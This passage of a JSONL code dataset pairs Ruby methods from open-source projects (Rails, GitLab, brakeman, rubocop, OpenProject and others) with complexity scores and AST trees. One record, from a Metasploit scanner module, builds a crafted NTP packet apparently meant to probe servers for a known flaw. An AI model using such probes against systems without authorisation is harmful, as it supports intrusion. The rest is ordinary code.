\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"path\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_output_dir\"]},{\"type\":\"send\",\"children\":[null,\"run_zip_command\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"success\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Successfully generated zip file at path '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output_path\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"send\",\"children\":[null,\"output_path\"]}]}]}","id":"531293cd-c294-4eab-a033-aa51e015669d"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/commandline.rb","start_line":124,"raw_source":"def regular_report options\n        tracker = run_brakeman options\n\n        ensure_ignore_notes_failed = false\n        if tracker.options[:ensure_ignore_notes]\n          fingerprints = Brakeman::ignore_file_entries_with_empty_notes tracker.ignored_filter&.file\n\n          unless fingerprints.empty?\n            ensure_ignore_notes_failed = true\n            warn '[Error] Notes required for all ignored warnings when ' \\\n              '--ensure-ignore-notes is set. No notes provided for these ' \\\n              'warnings: '\n            fingerprints.each { |f| warn f }\n          end\n        end\n\n        if tracker.options[:exit_on_warn] and not tracker.filtered_warnings.empty?\n          quit Brakeman::Warnings_Found_Exit_Code\n        end\n\n        if tracker.options[:exit_on_error] and tracker.errors.any?\n          quit Brakeman::Errors_Found_Exit_Code\n        end\n\n        if tracker.options[:ensure_no_obsolete_ignore_entries] && tracker.unused_fingerprints.any?\n          warn '[Error] Obsolete ignore entries were found, exiting with an error code.'\n          quit Brakeman::Obsolete_Ignore_Entries_Exit_Code\n        end\n\n        if ensure_ignore_notes_failed\n          quit Brakeman::Empty_Ignore_Note_Exit_Code\n        end\n      end","complexity_score":49.8,"ast_json":"{\"type\":\"def\",\"children\":[\"regular_report\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tracker\",{\"type\":\"send\",\"children\":[null,\"run_brakeman\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ensure_ignore_notes_failed\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tracker\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ensure_ignore_notes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fingerprints\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"ignore_file_entries_with_empty_notes\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tracker\"]},\"ignored_filter\"]},\"file\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fingerprints\"]},\"empty?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ensure_ignore_notes_failed\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[Error] Notes required for all ignored warnings when \"]},{\"type\":\"str\",\"children\":[\"--ensure-ignore-notes is set. No notes provided for these \"]},{\"type\":\"str\",\"children\":[\"warnings: \"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fingerprints\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"lvar\",\"children\":[\"f\"]}]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tracker\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"exit_on_warn\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tracker\"]},\"filtered_warnings\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"quit\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"Warnings_Found_Exit_Code\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tracker\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"exit_on_error\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tracker\"]},\"errors\"]},\"any?\"]}]},{\"type\":\"send\",\"children\":[null,\"quit\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"Errors_Found_Exit_Code\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tracker\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ensure_no_obsolete_ignore_entries\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tracker\"]},\"unused_fingerprints\"]},\"any?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"str\",\"children\":[\"[Error] Obsolete ignore entries were found, exiting with an error code.\"]}]},{\"type\":\"send\",\"children\":[null,\"quit\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"Obsolete_Ignore_Entries_Exit_Code\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ensure_ignore_notes_failed\"]},{\"type\":\"send\",\"children\":[null,\"quit\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"Empty_Ignore_Note_Exit_Code\"]}]},null]}]}]}","id":"972a0624-ec27-4da7-b105-4a50d92cd3d2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/click_house/models/audit_event.rb","start_line":22,"raw_source":"def by_entity_username(username)\n        where(entity_id: self.class.find_user_id(username))\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"by_entity_username\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"username\"]}]},{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"entity_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"find_user_id\",{\"type\":\"lvar\",\"children\":[\"username\"]}]}]}]}]}]}","id":"0665a8ee-5788-4b2b-a061-cadadf3a627d"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/result_cache.rb","start_line":189,"raw_source":"def digest(path)\n      content = if path.end_with?(*DL_EXTENSIONS)\n                  # Shared libraries often contain timestamps of when\n                  # they were compiled and other non-stable data.\n                  File.basename(path)\n                else\n                  File.binread(path) # mtime not reliable\n                end\n      Zlib.crc32(content).to_s\n    end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"digest\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"end_with?\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DL_EXTENSIONS\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"binread\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Zlib\"]},\"crc32\",{\"type\":\"lvar\",\"children\":[\"content\"]}]},\"to_s\"]}]}]}","id":"66ab3052-4404-440b-9dac-d9ba5cacc2d4"}
{"repo_name":"forem","file_path":"./repos/forem/app/refinements/string_to_boolean.rb","start_line":3,"raw_source":"def to_boolean\n      ActiveModel::Type::Boolean.new.cast(self)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"to_boolean\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveModel\"]},\"Type\"]},\"Boolean\"]},\"new\"]},\"cast\",{\"type\":\"self\",\"children\":[]}]}]}","id":"bfb733ef-cf67-4342-bd7c-bd13521003c5"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/sqlite3/database_statements.rb","start_line":18,"raw_source":"def explain(arel, binds = [], _options = [])\n          sql    = \"EXPLAIN QUERY PLAN \" + to_sql(arel, binds)\n          result = internal_exec_query(sql, \"EXPLAIN\", [])\n          SQLite3::ExplainPrettyPrinter.new.pp(result)\n        end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"explain\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arel\"]},{\"type\":\"optarg\",\"children\":[\"binds\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"_options\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"EXPLAIN QUERY PLAN \"]},\"+\",{\"type\":\"send\",\"children\":[null,\"to_sql\",{\"type\":\"lvar\",\"children\":[\"arel\"]},{\"type\":\"lvar\",\"children\":[\"binds\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"internal_exec_query\",{\"type\":\"lvar\",\"children\":[\"sql\"]},{\"type\":\"str\",\"children\":[\"EXPLAIN\"]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SQLite3\"]},\"ExplainPrettyPrinter\"]},\"new\"]},\"pp\",{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}","id":"b1a72769-ae07-4a89-8493-50af07c58b61"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/controllers/stats_controller.rb","start_line":43,"raw_source":"def update_all\n    current_user.years_tracked.each do |year|\n      year[:months].each do |month|\n        Stats::CalculatingJob.perform_later(\n          current_user.id, year[:year], Date::ABBR_MONTHNAMES.index(month)\n        )\n      end\n    end\n\n    redirect_to stats_path, notice: 'Stats are being updated', status: :see_other\n  end","complexity_score":17.3,"ast_json":"{\"type\":\"def\",\"children\":[\"update_all\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"years_tracked\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"year\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"year\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"months\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"month\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Stats\"]},\"CalculatingJob\"]},\"perform_later\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"year\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"year\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"ABBR_MONTHNAMES\"]},\"index\",{\"type\":\"lvar\",\"children\":[\"month\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"stats_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"str\",\"children\":[\"Stats are being updated\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"see_other\"]}]}]}]}]}]}","id":"0a5a20ee-61a8-4b01-a57b-ae2fd737845f"}
{"repo_name":"rouge","file_path":"./repos/rouge/lib/rouge/lexers/yaml.rb","start_line":64,"raw_source":"def set_indent(match, opts={})\n        if indent < @next_indent\n          @indent_stack << @next_indent\n        end\n\n        @next_indent += match.size unless opts[:implicit]\n      end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"set_indent\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"match\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"indent\"]},\"<\",{\"type\":\"ivar\",\"children\":[\"@next_indent\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@indent_stack\"]},\"<<\",{\"type\":\"ivar\",\"children\":[\"@next_indent\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"implicit\"]}]},null,{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@next_indent\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"size\"]}]}]}]}]}","id":"6e8392f5-7e09-4be3-a2db-af756002d7d6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb","start_line":49,"raw_source":"def build_crypto_nak(time)\n    probe = Rex::Proto::NTP::Header::NTPHeader.new\n    probe.version_number = 3\n    probe.stratum = 1\n    probe.poll = 10\n    probe.mode = SYMMETRIC_ACTIVE_MODE\n    unless time\n      time = Time.now\n    end\n\n    # TODO: use different values for each?\n    probe.reference_timestamp = time\n    probe.origin_timestamp = time\n    probe.receive_timestamp = time\n    probe.transmit_timestamp = time\n    # key-id 0\n    probe.key_identifier = 0\n    probe\n  end","complexity_score":14.95,"ast_json":"{\"type\":\"def\",\"children\":[\"build_crypto_nak\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"time\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"probe\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"NTP\"]},\"Header\"]},\"NTPHeader\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"probe\"]},\"version_number=\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"probe\"]},\"stratum=\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"probe\"]},\"poll=\",{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"probe\"]},\"mode=\",{\"type\":\"const\",\"children\":[null,\"SYMMETRIC_ACTIVE_MODE\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},null,{\"type\":\"lvasgn\",\"children\":[\"time\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"probe\"]},\"reference_timestamp=\",{\"type\":\"lvar\",\"children\":[\"time\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"probe\"]},\"origin_timestamp=\",{\"type\":\"lvar\",\"children\":[\"time\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"probe\"]},\"receive_timestamp=\",{\"type\":\"lvar\",\"children\":[\"time\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"probe\"]},\"transmit_timestamp=\",{\"type\":\"lvar\",\"children\":[\"time\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"probe\"]},\"key_identifier=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvar\",\"children\":[\"probe\"]}]}]}","id":"8b9752d3-4c35-42b6-a4ee-35cb579b54b7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/aws/client.rb","start_line":142,"raw_source":"def call_api(creds, service, api_params)\n          vprint_status(\"Connecting (#{datastore['RHOST']})...\")\n          body = body(api_params)\n          body_length = body.length\n          body_digest = hexdigest(body)\n          begin\n            res = send_request_raw(\n              'method' => 'POST',\n              'data' => body,\n              'headers' => headers(creds, service, body_digest)\n            )\n            if res.nil?\n              print_error \"#{peer} did not respond\"\n            else\n              Hash.from_xml(res.body)\n            end\n          rescue => e\n            print_error e.message\n          end\n        end","complexity_score":25.9,"ast_json":"{\"type\":\"def\",\"children\":[\"call_api\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"creds\"]},{\"type\":\"arg\",\"children\":[\"service\"]},{\"type\":\"arg\",\"children\":[\"api_params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Connecting (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]}]},{\"type\":\"str\",\"children\":[\")...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[null,\"body\",{\"type\":\"lvar\",\"children\":[\"api_params\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"body_length\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"length\"]}]},{\"type\":\"lvasgn\",\"children\":[\"body_digest\",{\"type\":\"send\",\"children\":[null,\"hexdigest\",{\"type\":\"lvar\",\"children\":[\"body\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"body\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"send\",\"children\":[null,\"headers\",{\"type\":\"lvar\",\"children\":[\"creds\"]},{\"type\":\"lvar\",\"children\":[\"service\"]},{\"type\":\"lvar\",\"children\":[\"body_digest\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" did not respond\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"from_xml\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},null]}]}]}]}","id":"8e45feb2-2e8a-47d6-a869-d1ad97dc2657"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/two_factor_authentication/app/controllers/two_factor_authentication/users/two_factor_devices_controller.rb","start_line":27,"raw_source":"def register # rubocop:disable Metrics/AbcSize\n        @device_type = params[:key].to_sym\n        @device = new_device_type! @device_type\n\n        has_default = ::TwoFactorAuthentication::Device.has_default?(target_user)\n        @device.attributes = new_device_params\n        if @device.confirm_registration_and_save\n          logout_other_sessions unless has_default\n          Rails.logger.info \"Admin ##{current_user.id} registered a new device #{@device_type} for #{@user.id}.\"\n          redirect_to index_path\n        else\n          Rails.logger.info \"Admin ##{current_user.id} failed to register a new device #{@device_type} for #{@user.id}.\"\n          render \"two_factor_authentication/two_factor_devices/new\", status: :unprocessable_entity\n        end\n      end","complexity_score":34.1,"ast_json":"{\"type\":\"def\",\"children\":[\"register\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@device_type\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"key\"]}]},\"to_sym\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@device\",{\"type\":\"send\",\"children\":[null,\"new_device_type!\",{\"type\":\"ivar\",\"children\":[\"@device_type\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"has_default\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"TwoFactorAuthentication\"]},\"Device\"]},\"has_default?\",{\"type\":\"send\",\"children\":[null,\"target_user\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@device\"]},\"attributes=\",{\"type\":\"send\",\"children\":[null,\"new_device_params\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@device\"]},\"confirm_registration_and_save\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"has_default\"]},null,{\"type\":\"send\",\"children\":[null,\"logout_other_sessions\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Admin #\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\" registered a new device \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@device_type\"]}]},{\"type\":\"str\",\"children\":[\" for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"index_path\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Admin #\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\" failed to register a new device \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@device_type\"]}]},{\"type\":\"str\",\"children\":[\" for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"two_factor_authentication/two_factor_devices/new\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]}]}]}]}","id":"aded9808-624f-45e2-bcd2-e5f70e1db21f"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/abstract_mysql_adapter/virtual_column_test.rb","start_line":42,"raw_source":"def test_stored_column\n      column = VirtualColumn.columns_hash[\"name_length\"]\n      assert_predicate column, :virtual?\n      assert_match %r{\\b(?:STORED|PERSISTENT)\\b}, column.extra\n      assert_equal 5, VirtualColumn.take.name_length\n    end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_stored_column\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"column\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VirtualColumn\"]},\"columns_hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name_length\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"virtual?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\b(?:STORED|PERSISTENT)\\\\b\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"extra\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[5]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VirtualColumn\"]},\"take\"]},\"name_length\"]}]}]}]}","id":"0f96f22b-8382-4a76-a0db-7faaa2178b4b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/ability_check.rb","start_line":44,"raw_source":"def ability_found?(policy, ability)\n        # NilPolicy has no abilities. Ignore it.\n        return true if policy.is_a?(DeclarativePolicy::NilPolicy)\n\n        # Search in current policy first\n        return true if policy.class.ability_map.map.key?(ability)\n\n        # Search recursively in all delegations otherwise.\n        # This is potentially slow.\n        # Stolen from:\n        # https://gitlab.com/gitlab-org/ruby/gems/declarative-policy/-/blob/d691e/lib/declarative_policy/base.rb#L360-369\n        policy.class.delegations.any? do |_, block|\n          new_subject = policy.instance_eval(&block)\n          new_policy = policy.policy_for(new_subject)\n\n          ability_found?(new_policy, ability)\n        end\n      end","complexity_score":25.0,"ast_json":"{\"type\":\"def\",\"children\":[\"ability_found?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"policy\"]},{\"type\":\"arg\",\"children\":[\"ability\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DeclarativePolicy\"]},\"NilPolicy\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy\"]},\"class\"]},\"ability_map\"]},\"map\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"ability\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy\"]},\"class\"]},\"delegations\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\"